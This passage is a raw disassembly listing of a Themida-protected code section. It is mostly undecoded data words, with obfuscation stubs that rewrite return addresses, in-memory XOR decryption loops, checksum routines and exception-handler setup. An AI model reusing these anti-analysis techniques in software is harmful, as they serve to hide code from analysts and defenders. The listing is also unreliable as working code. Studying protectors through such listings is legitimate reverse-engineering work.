		dd 51410000h, 6EA8E3C3h, 850F5258h, 6, 0B89B501h, 8C66060Bh
		dd 0DD9D89D9h, 80060B04h, 0BF0F04E1h, 0FC90AFEh, 12484h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 10E9D0h,	0B8C70000h, 0C6F6C5E8h,	2BBB374Ch
		dd 7CBB0A47h, 858B5667h, 60B317Dh, 0FE8h, 0BD14FA00h, 1B5F73B7h
		dd 0A7FA7FB1h, 0A0FCEDCh, 335FD88Bh, 0B06ED85h,	8B669006h
		dd 319050FAh, 0B28299Dh, 0F006A06h, 685h, 318D8900h, 0E8060B0Bh
		dd 4, 1F03FFh, 0AE9h, 2DBFAB00h, 59481168h, 50A136ECh
		dd 0F2F7F3BFh, 24448B17h, 50008B04h, 50310F52h,	0F88B6652h
		dd 5250310Fh, 585A310Fh, 585A585Ah, 4244489h, 0CBB1BF66h
		dd 71D3BB58h, 14E92654h, 2D000000h, 7580E0E8h, 6365829Fh
		dd 9F69EA3h, 5BAE0413h,	0FF8B35FFh, 0B03D195h, 0AE906h
		dd 91D00000h, 0CE905D72h, 41D2F0BBh, 0A81D8589h, 0BE9060Eh
		dd 22000000h, 8F1F35Bh,	58283F1Eh, 3DE9927Ch, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 1952C351h, 66002C1Dh, 8B66DF8Bh, 15858BD9h
		dd 0E9060EA8h, 0Bh, 6807787Dh, 221680ABh, 0C779589Bh, 1800h
		dd 8BDD8A00h, 0EA819B5h, 5FDFBF06h, 858B0809h, 60B06E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h
		dd 1161724Dh, 0CBE9E987h, 8E96Fh, 0B480000h, 55A4DAE6h
		dd 689551Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	68C35646h, 858BF010h, 60B317Dh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 30C35343h, 810F5064h
		dd 6, 0B599D23h, 6660060Bh, 0F5A81B9h, 68Eh, 999D8900h
		dd 61060B29h, 8B044689h, 0B0E6D9Dh, 0DF816606h,	0F96C5CEh
		dd 0E8Ch, 50525000h, 5A310F52h,	60310F58h, 50585A61h, 66F78B60h
		dd 619DBFBAh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 83BF21D3h, 0FF0A6609h, 0EA815B5h
		dd 91BD8906h, 31060B05h, 0B1A1185h, 4E806h, 3FF0000h, 0BF66001Fh
		dd 0E9506CC6h, 7, 25280296h, 8BE46D48h,	50042444h, 0C18A6052h
		dd 8F0Fh, 0F610000h, 0F525031h,	0D678BB31h, 585A547Ah
		dd 8B585Ah, 4244489h, 0FBC3BB66h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 9149ED74h
		dd 85895369h, 60B2225h,	0EE85Bh, 8EB0000h, 0F60D09C8h
		dd 0AB7C5FBEh, 88E40604h, 0BE960h, 20150000h, 8FFB44FDh
		dd 0B6536CAEh, 6161608Dh, 1D858D5Bh, 6A060EA8h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1DB8C356h, 8141B375h, 98B981DFh, 5E85058h, 8000000h
		dd 6F27BAA7h, 6880Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp], eax
		add	[ebp+60B2EF5h],	edi
		mov	ebx, [ebp+60B1A85h]
		call	dword ptr [ebp+60B03D1h]
		mov	[ebp+60B007Dh],	ecx
		popa
		movsx	ebx, si
		mov	dword ptr [ebp+60B1009h], 3
		push	0
		push	ecx
		call	sub_582A35
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582A35	proc near		; CODE XREF: Themida_:00582A2Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_582A35	endp

; ---------------------------------------------------------------------------
		db 2 dup(71h), 6Ch
; ---------------------------------------------------------------------------
		cmp	al, 5Fh
		push	0FFFFFFCEh
		mov	[ebp+60B087Dh],	eax
		sub	[ebp+60B19F5h],	ebx
		cmp	dword ptr [ebp+60EA81Dh], 0
		jz	loc_582ABE
		push	0
		push	eax
		call	sub_582A70
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582A70	proc near		; CODE XREF: Themida_:00582A68p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_582A70	endp

; ---------------------------------------------------------------------------
		add	bl, [edi+45FD5349h]
		mov	bh, cl
		jmp	loc_582AD9
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_582A98
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582A98	proc near		; CODE XREF: Themida_:00582A90p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_582A98	endp

; ---------------------------------------------------------------------------
		dd 0F5D10209h, 0D7ECD87h, 820F1B25h, 6,	0B9BB6652h
; ---------------------------------------------------------------------------
		cmpsd
		pop	ebx


loc_582ABE:				; CODE XREF: Themida_:00582A5Fj
					; Themida_:00582AD5j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_582ABE
		jmp	short loc_582B0F
; ---------------------------------------------------------------------------


loc_582AD9:				; CODE XREF: Themida_:00582A88j
					; Themida_:00582AF0j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_582AD9
		jmp	short loc_582B0F
; ---------------------------------------------------------------------------


loc_582AF4:				; CODE XREF: Themida_:00582B0Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_582AF4
		jmp	short $+2


loc_582B0F:				; CODE XREF: Themida_:00582AD7j
					; Themida_:00582AF2j
		mov	eax, eax
		mov	[ebp+60B0915h],	ebx
		mov	bh, 5Ah
		cmp	dword ptr [ebp+60B1009h], 3
		jnz	loc_582F97
		push	0
		push	edi
		call	sub_582B31
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582B31	proc near		; CODE XREF: Themida_:00582B29p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_582B31	endp

; ---------------------------------------------------------------------------
		db 1Eh,	0E7h, 89h
		dd 1F4286ECh, 830CDB80h, 0EA81DBDh, 840F0006h, 43Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FFC35242h, 0E6BDBDEAh
		dd 2E8D9D8Bh, 0B5FF060Bh, 60EA81Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 20C35242h, 0BB66A64Ah, 95FFB723h
		dd 60B083Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	44C35646h, 0D287342Fh, 11B58B5Eh, 6A060EA8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0FB9BC351h, 0AF742E94h, 0D2296855h, 1D88B66h, 0B29B9B5h
		dd 106C706h, 6A000100h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 1420C350h, 12E823h
		dd 0E25C0000h, 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 283C87EEh
		dd 1F618501h, 8B5F060Bh, 0F88B96DFh, 0B6606050h, 0C88B666Bh
		dd 0C18B6661h, 81669661h, 898A54D7h, 0B12898Dh,	1DB5FF06h
		dd 0E8060EA8h, 12h, 0A268488Ah,	231EE4BCh, 0C025B075h
		dd 0E4C098ABh, 0B5312DD2h, 60B0305h, 4195FF5Bh,	0E8060B06h
		dd 0Dh,	30EB0133h, 0EF95BCE9h, 0E27FE905h, 84DF8060h, 11B58B5Fh
		dd 6A060EA8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 5CAEC351h, 0B70FDE8Bh,	1D858BFBh
		dd 0F060B12h, 581h, 3193BB00h, 86891950h, 0C4h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E7C35242h, 32359529h
		dd 958B060Bh, 60B174Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F1C35747h, 0FB5708F0h, 8CB8110h, 835AD1E0h
		dd 0F98B04C2h, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66C2C352h, 90DE781h
		dd 0BAEE858Dh, 890F060Eh, 6, 135D8D29h,	8689060Bh, 0B8h
		dd 6AFA8B66h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 21085A9Bh, 3B795266h, 1DB5FF94h
		dd 89060EA8h, 0B0B1195h, 0EE906h, 0E8E10000h, 71B8B6C4h
		dd 8AD1B115h, 50F936D4h, 0F1595FFh, 0B70F060Bh,	525096F8h
		dd 0BE9h, 6078D000h, 0D9B63761h, 53AB890Ch, 0F88B310Fh
		dd 0F50585Ah, 28Dh, 96FB8B00h, 10860Fh,	0BE90000h, 0F0000000h
		dd 0B6F34A67h, 0C53CD26Dh, 0B5FFCE12h, 60EA81Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A7C35646h, 829B1C5Ch
		dd 9C947189h, 0D776FABFh, 0F595FF0Fh, 89060B00h, 0B00058Dh
		dd 91BD8306h, 60B21h, 2A840Fh, 6FBB0000h, 50672527h, 68B75051h
		dd 34895B5Bh, 66576024h, 575BC681h, 5D958B5Ah, 61060B33h
		dd 6800Fh, 0F7810000h, 2BCE559h, 0A81DB5FFh, 0AE8060Eh
		dd 0FF000000h, 0EFA5B75Fh, 54988F15h, 0B58D8972h, 5B060B29h
		dd 128195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 8BA211C3h, 5F45C5C1h, 1235BD8Bh
		dd 0FE8060Bh, 5000000h,	0AA157076h, 454EA24h, 0C6AF0F19h
		dd 9589D1FBh, 60B17CDh,	1DB5FF5Bh, 60060EA8h, 2DD9D31h
		dd 0BD89060Bh, 60B0715h, 8D95FF61h, 6A060B0Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0E801C353h, 14h, 6C46973Eh, 0A5E94ABh, 2BC7A47Ch, 39F7C93h
		dd 0E32E5D78h, 21899D8Bh, 835F060Bh, 0B17F1BDh,	840F0206h
		dd 2Dh,	6890Fh,	0BD890000h, 60B1649h, 2EC5858Bh, 6660060Bh
		dd 0F1C14BAh, 685h, 898D8900h, 61060B1Fh, 8B0000C6h, 0B0F719Dh
		dd 0B985C706h, 60B06h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 72EC357h
		dd 0B7E8BA0Eh, 8C0F3EB4h, 3
; ---------------------------------------------------------------------------
		movzx	edi, si


loc_582F97:				; CODE XREF: Themida_:00582B20j
		jmp	near ptr dword_582224+31h
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60B2125h],	ebx
		mov	[ebp+60B31A5h],	ecx
		popa
		mov	eax, ecx
		push	0
		push	eax
		call	sub_582FB7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582FB7	proc near		; CODE XREF: Themida_:00582FAFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_582FB7	endp

; ---------------------------------------------------------------------------
		jo	short near ptr loc_582FEE+1
		mov	edi, esi
		push	edi
		jmp	loc_582FD7
; ---------------------------------------------------------------------------
		db 77h,	1Fh, 47h
		db 0Eh,	0FAh, 0C0h
; ---------------------------------------------------------------------------


loc_582FD7:				; CODE XREF: Themida_:00582FCCj
		pop	edi
		lea	eax, [ebp+60B28A9h]
		push	esi
		call	sub_582FF4
		jnb	short near ptr loc_583024+5
		lds	edi, [edi-5B912339h]
		cdq
		pop	ecx


loc_582FEE:				; CODE XREF: Themida_:00582FC7j
		mov	ds:4CBEE58Ch, eax
; ---------------------------------------------------------------------------
		db 8Fh

; =============== S U B	R O U T	I N E =======================================



sub_582FF4	proc near		; CODE XREF: Themida_:00582FDFp
		mov	di, dx
		pop	edi
		pop	ebx
		push	eax
		call	near ptr loc_58300B+1
		push	edx
		wait
		test	al, 0D6h
		lock out 7Bh, eax
		push	edx
		cld
		pop	ds
		mov	dl, 0B2h


loc_58300B:				; CODE XREF: sub_582FF4+6p
		mov	dword ptr [esi-41h], 895BE181h
sub_582FF4	endp ; sp-analysis failed

		add	al, 24h
		push	0
		push	ebx
		call	sub_58301F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58301F	proc near		; CODE XREF: Themida_:00583017p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx


loc_583024:				; CODE XREF: Themida_:00582FE4j
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58301F	endp

; ---------------------------------------------------------------------------
		db 0E2h
		dd 3DB50144h, 8B060B2Ah, 0B15299Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 34D6C356h, 0D36C2E7Ch, 0E8006A47h, 12h, 0B35EAF97h
		dd 931E142Dh, 2D6632E1h, 57DC569h, 8D5BEE7Fh, 0F718885h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 5E4D9E88h, 0FA8C22C1h, 5D9D8BB6h, 83060B07h
		dd 7CBB05C0h, 900F7FEAh, 61606060h, 0F234BF66h,	61F38B61h
		dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0FBD09FC3h, 60A0988Bh, 898D8960h,	0F060B21h
		dd 8Bh,	0C1806100h, 6A6184h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0EDC35242h,	643D8DEFh, 69BB718Fh
		dd 6A4CCC3Fh, 99DB8100h, 6061910Fh, 81663AB3h, 6112A1CAh
		dd 2F2195FFh, 0CB81060Bh, 38CA0163h, 0A7B08D8Dh, 6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BA9A1C3h, 0B0C0D9Dh, 6AD1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BE63C352h
		dd 892EF322h, 0B22F595h, 6E806h, 0D8510000h, 7FDE250Eh
		dd 835BFB8Bh, 0B0B19BDh, 850F0106h, 84h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 7CC35141h, 0D4C11844h
		dd 78454407h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 899326C3h, 810F5020h, 8,	28D0Fh
		dd 61600000h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 4312C350h, 6688205Ah
		dd 95FFDF8Bh, 60B0F15h,	8C30BF66h, 0C98E9h, 0E800h, 815D0000h
		dd 0F7192EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0F3804CCEh, 0FFB70F92h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 8B14D7EDh
		dd 93858DDFh, 8B060E92h, 0B0415BDh, 65BB5006h, 89528DA7h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 617763C3h, 0ADBF661Ch, 35FF642Dh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5832CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5832CB	proc near		; CODE XREF: Themida_:005832C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5832CB	endp

; ---------------------------------------------------------------------------
		db 86h
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		inc	dword ptr [ebp+60B066Dh]
		add	edi, [ebp+60B18A1h]
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5832FC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5832FC	proc near		; CODE XREF: Themida_:005832F4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5832FC	endp

; ---------------------------------------------------------------------------
		dd 36FBEDBEh, 5E8B6h, 0F02F0000h, 50E4DAA6h, 0CF9BD8Bh
		dd 5F5F060Bh, 2A41B5FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 5DAC87C3h, 1195FFF9h
		dd 0E9060B24h, 105h, 0EE9h, 57B0D700h, 442F54B3h, 0F1EF81ADh
		dd 0B04B9ACCh, 0DB816600h, 70E6B93Dh, 21DDB589h, 0EB81060Bh
		dd 28596202h, 3CFC71E4h, 0D2830F61h, 33000000h,	0B28F5BDh
		dd 0C8B60F06h, 0E45B589h, 6BA060Bh, 0F000000h, 0C18BFAB7h
		dd 7E9h, 6132EA00h, 616A2851h, 6604E8C1h, 28B3E2F7h, 9D8BC82Bh
		dd 60B2B41h, 0D381D18Bh, 783DF91Ch, 6E9h, 71BD8B00h, 8B060B24h
		dd 0B042D85h, 2422BB06h, 0C0833A0Fh, 8E96007h, 1C000000h
		dd 6096B030h, 8BFCC79Fh, 0C08361F3h, 61858900h,	3B060B2Fh
		dd 19830FD0h, 89000000h, 0B05C1BDh, 4FE906h, 9E90000h
		dd 0CD000000h, 0CA6D7E2Dh, 13E9819Fh, 29858D8Bh, 8589060Bh
		dd 60B0CA1h, 0F01E183h,	2C84h, 0EB816600h, 83F5019Bh, 0B2985A5h
		dd 880FFE06h, 0
; ---------------------------------------------------------------------------
		clc
		mov	[ebp+60B042Dh],	edx
		jmp	loc_583454
; ---------------------------------------------------------------------------
		dd 0D25875Dh, 0EFACF9DAh
; ---------------------------------------------------------------------------


loc_583454:				; CODE XREF: Themida_:00583447j
		jmp	$+5
		lea	esi, [ebp+60EEDC0h]
		jmp	loc_583473
; ---------------------------------------------------------------------------
		dd 70A8B3Dh, 56A0866Ah,	8F1E9869h
; ---------------------------------------------------------------------------
		or	ebp, [edi+6Ah]


loc_583473:				; CODE XREF: Themida_:0058345Fj
		push	0
		and	bl, 55h
		call	dword ptr [ebp+60B32DDh]
		jmp	loc_583493
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------
		mov	eax, 0C6F6C5E8h
		dec	esp
		aaa
		mov	ebx, 0BB0A472Bh
		jl	short loc_5834F9
		push	esi


loc_583493:				; CODE XREF: Themida_:0058347Ej
		or	[ebp+60B276Dh],	eax
		mov	ecx, 765h
		mov	ebx, [ebp+60B1639h]
		and	ecx, 0FFFFFFFCh
		push	0
		push	ecx
		call	sub_5834B2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5834B2	proc near		; CODE XREF: Themida_:005834AAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5834B2	endp

; ---------------------------------------------------------------------------
		sub	byte ptr [ebx],	0Ah
		cmpsd
		lodsb
		jge	short near ptr loc_5834EE+1
		mov	edi, [ebp+60B175Dh]
		cld
		add	di, 0F42h
		sub	eax, eax
		mov	ebx, 6B4B5D95h
		sub	edx, edx
		push	0
		push	esi
		call	sub_5834E9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5834E9	proc near		; CODE XREF: Themida_:005834E1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi


loc_5834EE:				; CODE XREF: Themida_:005834C7j
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5834E9	endp

; ---------------------------------------------------------------------------


loc_5834F9:				; CODE XREF: Themida_:00583490j
		mov	ebp, 5BCA4149h
		movzx	ebx, si


loc_583501:				; CODE XREF: Themida_:0058350Bj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_583501
		push	0
		push	ecx
		call	sub_583518
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583518	proc near		; CODE XREF: Themida_:00583510p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_583518	endp

; ---------------------------------------------------------------------------
		cmpsd
		mov	dh, 0C9h
		test	ds:95F505Ch, esi
		popf
		mov	cl, 8
		or	eax, [esi]
		add	[ebp+60B1829h],	edx
		or	eax, 88h
		push	0
		push	ebx
		call	sub_58354D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58354D	proc near		; CODE XREF: Themida_:00583545p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_58354D	endp

; ---------------------------------------------------------------------------
		db 2, 9Bh, 78h
		dd 0BEF38105h, 8171DF95h, 2C5FD7EFh, 4D958B50h,	66060B17h
		dd 8D8BFE8Bh, 60B0119h,	1FD5BD8Bh, 8B50060Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 11CFBB66h, 83FE8B66h
		dd 0B29BDBDh, 840F0006h, 48h, 0D14BBB66h, 0B8h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0E620587Ch, 0FCE8C891h, 4DD78D8Dh, 8160060Bh, 0F85264DFh
		dd 39953306h, 61060B2Bh, 9D89E1FFh, 60B249Dh, 1009BD83h
		dd 0F00060Bh, 43A84h, 0C5852900h, 83060B12h, 0B1009BDh
		dd 840F0106h, 442h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 3DC35242h, 0BD027DB0h, 2F3949C5h, 2890F93h
		dd 0B3000000h, 0D88B66DEh, 1009BD83h, 0F03060Bh, 3CF86h
		dd 1DBD8B00h, 60060B06h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 37C35343h, 9BBF660Eh,	6810F41h, 31000000h
		dd 0B28D98Dh, 0D98C6606h, 0E804E180h, 10h, 0EDE2DA4Ch
		dd 0A2A05237h, 0B2E4A0C4h, 0F88D40D9h, 899D89h,	0A5F060Bh
		dd 83840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 6717C356h, 7D858B8Bh
		dd 6A060B31h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 214C357h, 0C8DC49AEh, 9501D84Dh
		dd 60B2E61h, 68D0Fh, 9D030000h,	60B06F1h, 1EB98589h, 8533060Bh
		dd 60B06EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0E2C35747h, 0CEEE6834h,	9010C829h, 11E9507Bh, 0AC000000h
		dd 42CA7E00h, 851A473Bh, 1A21F447h, 0C179785Fh,	5250905Bh
		dd 6E9h, 0D32E0D00h, 0FD60DE9h,	2FBB6631h, 50585AE9h, 3DFC66BFh
		dd 850F9054h, 6, 5F59529h, 0BD8B060Bh, 60B279Dh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5DEBCCC3h, 0EC5AF72Fh, 11E92E29h, 0B8000000h, 0DD204B7h
		dd 0CE7E1C51h, 5E1BB639h, 1BB5B5C7h, 9B94A468h,	81FA8BBCh
		dd 6F5B2404h, 0AE94383h, 9D000000h, 0C30A7F81h,	2C4C9543h
		dd 0D195FF21h, 60060B03h, 8BC18B66h, 806061F1h,	9D8B99C8h
		dd 60B13D5h, 1D858961h,	0E9060EA8h, 0Eh, 58EDDDC6h, 8BF2560Bh
		dd 84CA50F1h, 30BF0971h, 0E96DA14Eh, 189h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 26C35545h, 858B2A44h
		dd 60EA815h, 0D12AD6BBh, 1800C75Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 5975C350h, 0F04BBB97h, 0F9B589C2h, 8B060B31h, 0EA819B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5263DE41h, 858B8C54h, 60B06E1h, 3381BD8Bh
		dd 689060Bh, 317D858Bh,	8B66060Bh, 44689DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 38C35545h, 50080620h
		dd 9E960h, 48D40000h, 0DDF7A882h, 66311894h, 614C8FB8h
		dd 0B243489h, 0B1B919Dh, 959D8B06h, 0FF060B02h,	0EA815B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0BEA18EFEh, 668580D0h, 43B1C381h, 4E8h
		dd 1F03FF00h, 8A0F00h, 50000000h, 8BDE8B66h, 66042444h
		dd 8BC3EBBFh, 0DE8B6600h, 4244489h, 89585F57h, 0B31619Dh
		dd 0DAB70F06h, 0A81D858Dh, 8B66060Eh, 6840FDFh,	29000000h
		dd 0B177195h, 17BF9006h, 501AFD29h, 6870F90h, 8B000000h
		dd 0B2D899Dh, 0D195FF06h, 6A060B03h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5DE2C353h
		dd 6EB1C880h, 9D896127h, 60B2919h, 100985C7h, 3060Bh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0DC514DC3h, 26B1F030h, 0CDBD8BDBh, 0BF060B01h, 3A4B42B2h
		dd 0A81DBD83h, 0F00060Eh, 3784h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0DD2CA821h
		dd 2DE9CBh, 0BD310000h,	60B2049h, 7E9h,	98E20700h, 1027F571h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 89E9C355h, 832C86AEh, 3169BD89h, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0CA9BE4C3h, 731876FDh, 83E8E54Eh, 0B1009BDh,	850F0306h
		dd 3ACh, 0BD83F98Ah, 60EA81Dh, 9D840F00h, 8B000003h, 0B208DBDh
		dd 8D0F06h, 0FF000000h,	0EA81DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 95FF3DC6h
		dd 60B083Dh, 0DECF8166h, 49BD2BF7h, 8B060B24h, 0EA811B5h
		dd 119D2306h, 3060B1Ah,	0B33B5BDh, 106C706h, 6A000100h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6473C351h, 892BCB75h, 0B0AB185h, 0B3515006h
		dd 34895F02h, 13E824h, 33F70000h, 6DBFEBA6h, 0EE8D8641h
		dd 0CE803399h, 0B7EB3EABh, 51BD89E1h, 5B060B2Eh, 0A81DB5FFh
		dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CC3C0BC3h, 0BD8BF1F7h, 60B055Dh,	95FF98B7h
		dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0B2C35242h, 0B7E72C2Ah,	11B58BBDh, 6A060EA8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 9093C353h, 3ABAB064h, 0BF0FA58Eh, 798D89D9h,	8B060B29h
		dd 0B121D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E8FBA440h, 14h, 0B8AFA1C1h, 4237DD80h
		dd 0F6781626h, 25E66C73h, 417ADE66h, 895FFC8Ah,	0B27598Dh
